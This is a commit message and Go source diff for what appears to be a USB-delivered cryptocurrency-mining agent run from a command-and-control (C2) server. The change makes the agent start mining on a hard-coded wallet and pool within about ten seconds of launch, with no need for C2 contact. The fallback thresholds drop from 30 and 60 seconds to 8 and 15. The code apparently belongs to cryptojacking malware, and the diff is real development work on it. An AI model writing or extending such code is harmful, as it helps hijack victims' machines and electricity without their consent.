feat(agent): mine immediately on startup using baked-in credentials. Reduce Stratum fallback trigger: C2 offline threshold 30s->8s, no-job threshold 60s->15s. Initialize disconnectedSince at manager start (not first tick) so hashing begins within ~10s regardless of C2 availability. C2 remains optional control layer - baked wallet+pool are always the primary source of truth. Default wallet set in builtin.go.

usb/agent/client/client.go

@@ -807,20 +807,23 @@ func (c *AgentClient) write(msg Message) error {
 }
 
 // needsStratumFallback returns true when either:
-//   - C2 is offline for > 30 seconds, OR
-//   - C2 is online but no mining job has been delivered in > 60 seconds
+//   - C2 is offline for > 8 seconds (agent mines on baked-in credentials immediately), OR
+//   - C2 is online but no mining job has been delivered in > 15 seconds
 //     (the pool proxy on the server is broken or still connecting)
+//
+// Mining is the primary purpose of the agent; C2 provides remote control and
+// job upgrades but is never required to start hashing.
 func (c *AgentClient) needsStratumFallback(disconnectedSince time.Time) bool {
 	if !c.connected.Load() {
-		return !disconnectedSince.IsZero() && time.Since(disconnectedSince) > 30*time.Second
+		return !disconnectedSince.IsZero() && time.Since(disconnectedSince) > 8*time.Second
 	}
 	// Connected but jobless: check when the last valid job arrived.
 	if raw := c.lastJobAt.Load(); raw != nil {
 		lastJob := raw.(time.Time)
-		return time.Since(lastJob) > 60*time.Second
+		return time.Since(lastJob) > 15*time.Second
 	}
-	// Never received a job; fall back after 60s of being connected with nothing to mine.
-	return !disconnectedSince.IsZero() && time.Since(disconnectedSince) > 60*time.Second
+	// Never received a job; fall back after 15s of being connected with nothing to mine.
+	return !disconnectedSince.IsZero() && time.Since(disconnectedSince) > 15*time.Second
 }
 
 // stratumFallbackManager monitors C2 connectivity and mining job delivery.
@@ -841,11 +844,11 @@ func (c *AgentClient) stratumFallbackManager(done <-chan struct{}) {
 	}
 	var fb *fallback
 
-	// disconnectedSince tracks the start of the current disconnection window.
-	// When C2 is connected, it is zeroed. When C2 drops, it is set once and
-	// kept until reconnection. This is also used to measure "connected but
-	// jobless" time when the server pool proxy is broken.
-	var disconnectedSince time.Time
+	// disconnectedSince is set at startup so the 8-second countdown begins
+	// immediately. Mining will start on baked-in credentials within ~10s unless
+	// C2 connects and delivers a job first. When C2 delivers a job this is
+	// zeroed and the fallback stops.
+	disconnectedSince := time.Now()
 	ticker := time.NewTicker(5 * time.Second)
 	defer ticker.Stop()
 
@@ -866,9 +869,9 @@ func (c *AgentClient) stratumFallbackManager(done <-chan struct{}) {
 		}()
 		fb = &fallback{stop: stop, wait: wait}
 		if c.connected.Load() {
-			log.Printf("[stratum] C2 connected but no job in 90s — direct Stratum fallback started (%s:%d)", c.cfg.PoolHost, c.cfg.PoolPort)
+			log.Printf("[stratum] C2 connected but no job in 15s — direct Stratum started (%s:%d)", c.cfg.PoolHost, c.cfg.PoolPort)
 		} else {
-			log.Printf("[stratum] C2 offline >30s — direct Stratum fallback started (%s:%d)", c.cfg.PoolHost, c.cfg.PoolPort)
+			log.Printf("[stratum] C2 offline — direct Stratum started (%s:%d)", c.cfg.PoolHost, c.cfg.PoolPort)
 		}
 	}